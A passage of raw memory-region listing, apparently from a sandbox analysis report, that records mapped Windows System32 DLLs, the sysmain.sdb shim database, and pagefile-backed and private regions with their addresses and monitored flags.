0x7ffa76404960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 2113 start_va = 0x7ffa76420000 end_va = 0x7ffa76433fff monitored = 0 entry_point = 0x7ffa76422a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2114 start_va = 0x7ffa76440000 end_va = 0x7ffa7644afff monitored = 0 entry_point = 0x7ffa76441de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2115 start_va = 0x7ffa76450000 end_va = 0x7ffa768e2fff monitored = 0 entry_point = 0x7ffa7645f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2116 start_va = 0x7ffa768f0000 end_va = 0x7ffa76956fff monitored = 0 entry_point = 0x7ffa7690e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 2117 start_va = 0x7ffa769b0000 end_va = 0x7ffa769b7fff monitored = 0 entry_point = 0x7ffa769b13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 2118 start_va = 0x7ffa769f0000 end_va = 0x7ffa76b75fff monitored = 0 entry_point = 0x7ffa76a3d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2119 start_va = 0x7ffa76b80000 end_va = 0x7ffa76b9bfff monitored = 0 entry_point = 0x7ffa76b837a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2120 start_va = 0x7ffa76ba0000 end_va = 0x7ffa76bb7fff monitored = 0 entry_point = 0x7ffa76bab850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 2121 start_va = 0x7ffa76be0000 end_va = 0x7ffa76bf2fff monitored = 0 entry_point = 0x7ffa76be2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2122 start_va = 0x7ffa76d50000 end_va = 0x7ffa76d8ffff monitored = 0 entry_point = 0x7ffa76d61960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 2123 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2124 start_va = 0x7ffa76ec0000 end_va = 0x7ffa76ee6fff monitored = 0 entry_point = 0x7ffa76ec7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2125 start_va = 0x7ffa76f10000 end_va = 0x7ffa76f1bfff monitored = 0 entry_point = 0x7ffa76f12480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2126 start_va = 0x7ffa76fe0000 end_va = 0x7ffa77089fff monitored = 0 entry_point = 0x7ffa77007910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2127 start_va = 0x7ffa77090000 end_va = 0x7ffa7718ffff monitored = 0 entry_point = 0x7ffa770d0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 2128 start_va = 0x7ffa77320000 end_va = 0x7ffa77351fff monitored = 0 entry_point = 0x7ffa77332340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 2129 start_va = 0x7ffa77490000 end_va = 0x7ffa7749bfff monitored = 0 entry_point = 0x7ffa77492790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 2130 start_va = 0x7ffa774a0000 end_va = 0x7ffa774c3fff monitored = 0 entry_point = 0x7ffa774a3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2131 start_va = 0x7ffa77640000 end_va = 0x7ffa77733fff monitored = 0 entry_point = 0x7ffa7764a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2132 start_va = 0x7ffa77790000 end_va = 0x7ffa777d8fff monitored = 0 entry_point = 0x7ffa7779a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2133 start_va = 0x7ffa778b0000 end_va = 0x7ffa778bbfff monitored = 0 entry_point = 0x7ffa778b27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2134 start_va = 0x7ffa77990000 end_va = 0x7ffa779c0fff monitored = 0 entry_point = 0x7ffa77997d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2135 start_va = 0x7ffa779f0000 end_va = 0x7ffa77a69fff monitored = 0 entry_point = 0x7ffa77a11a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2136 start_va = 0x7ffa77ab0000 end_va = 0x7ffa77ae3fff monitored = 0 entry_point = 0x7ffa77acae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2137 start_va = 0x7ffa77af0000 end_va = 0x7ffa77af9fff monitored = 0 entry_point = 0x7ffa77af1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 2138 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2139 start_va = 0x7ffa77d70000 end_va = 0x7ffa77dcbfff monitored = 0 entry_point = 0x7ffa77d86f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2140 start_va = 0x7ffa77e20000 end_va = 0x7ffa77e36fff monitored = 0 entry_point = 0x7ffa77e279d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2141 start_va = 0x7ffa77f40000 end_va = 0x7ffa77f4afff monitored = 0 entry_point = 0x7ffa77f419a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2142 start_va = 0x7ffa77f80000 end_va = 0x7ffa77fa0fff monitored = 0 entry_point = 0x7ffa77f90250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 2143 start_va = 0x7ffa77fd0000 end_va = 0x7ffa78009fff monitored = 0 entry_point = 0x7ffa77fd8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 2144 start_va = 0x7ffa78010000 end_va = 0x7ffa78036fff monitored = 0 entry_point = 0x7ffa78020aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2145 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2146 start_va = 0x7ffa782b0000 end_va = 0x7ffa78305fff monitored = 0 entry_point = 0x7ffa782c0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2147 start_va = 0x7ffa78310000 end_va = 0x7ffa78328fff monitored = 0 entry_point = 0x7ffa78315e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 2148 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2149 start_va = 0x7ffa78360000 end_va = 0x7ffa783f8fff monitored = 0 entry_point = 0x7ffa7838f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2150 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2151 start_va = 0x7ffa784c0000 end_va = 0x7ffa784cffff monitored = 0 entry_point = 0x7ffa784c56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2152 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2153 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2154 start_va = 0x7ffa78530000 end_va = 0x7ffa785e4fff monitored = 0 entry_point = 0x7ffa785722e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2155 start_va = 0x7ffa785f0000 end_va = 0x7ffa78644fff monitored = 0 entry_point = 0x7ffa78607970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2156 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2157 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2158 start_va = 0x7ffa78710000 end_va = 0x7ffa78726fff monitored = 0 entry_point = 0x7ffa78711390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2159 start_va = 0x7ffa78730000 end_va = 0x7ffa788f6fff monitored = 0 entry_point = 0x7ffa7878db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2160 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2161 start_va = 0x7ffa78ba0000 end_va = 0x7ffa791e3fff monitored = 0 entry_point = 0x7ffa78d664b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2162 start_va = 0x7ffa791f0000 end_va = 0x7ffa79275fff monitored = 0 entry_point = 0x7ffa791fd8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2163 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2164 start_va = 0x7ffa79430000 end_va = 0x7ffa7a98efff monitored = 0 entry_point = 0x7ffa795911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2165 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2166 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2167 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2168 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2169 start_va = 0x7ffa7ad80000 end_va = 0x7ffa7b1a8fff monitored = 0 entry_point = 0x7ffa7ada8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2170 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2171 start_va = 0x7ffa7b280000 end_va = 0x7ffa7b287fff monitored = 0 entry_point = 0x7ffa7b281ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2172 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2173 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2174 start_va = 0x7ffa7b5b0000 end_va = 0x7ffa7b60bfff monitored = 0 entry_point = 0x7ffa7b5cb720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2175 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2176 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2177 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2178 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2179 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2180 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2183 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 2184 start_va = 0xe592200000 end_va = 0xe5922fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592200000" filename = "" Region: id = 2288 start_va = 0x286158d0000 end_va = 0x286158d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158d0000" filename = "" Region: id = 2328 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 2329 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2381 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2437 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2470 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2539 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2579 start_va = 0x28615930000 end_va = 0x28615950fff monitored = 0 entry_point = 0x28615932300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2580 start_va = 0x28616550000 end_va = 0x28616562fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 2581 start_va = 0x28615930000 end_va = 0x28615950fff monitored = 0 entry_point = 0x28615932300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2582 start_va = 0x28616550000 end_va = 0x28616562fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 2583 start_va = 0x28615930000 end_va = 0x28615950fff monitored = 0 entry_point = 0x28615932300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2584 start_va = 0x28616550000 end_va = 0x28616562fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 2585 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2598 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2642 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2693 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2751 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2752 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2803 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2855 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2906 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2957 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2958 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 2990 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3021 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3072 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3117 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3135 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3189 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3241 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3293 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3348 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3359 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3411 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3462 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3500 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3531 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3533 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3588 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3656 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3707 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 3743 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4003 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4065 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 4152 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4237 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4339 start_va = 0xe592300000 end_va = 0xe5923fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592300000" filename = "" Region: id = 4460 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 4480 start_va = 0x7ff723ad0000 end_va = 0x7ff723b4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4759 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 5869 start_va = 0xe592400000 end_va = 0xe5924fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592400000" filename = "" Region: id = 5870 start_va = 0xe592500000 end_va = 0xe5925fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592500000" filename = "" Region: id = 5871 start_va = 0xe592600000 end_va = 0xe5926fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592600000" filename = "" Region: id = 6590 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 6608 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 6609 start_va = 0x28615870000 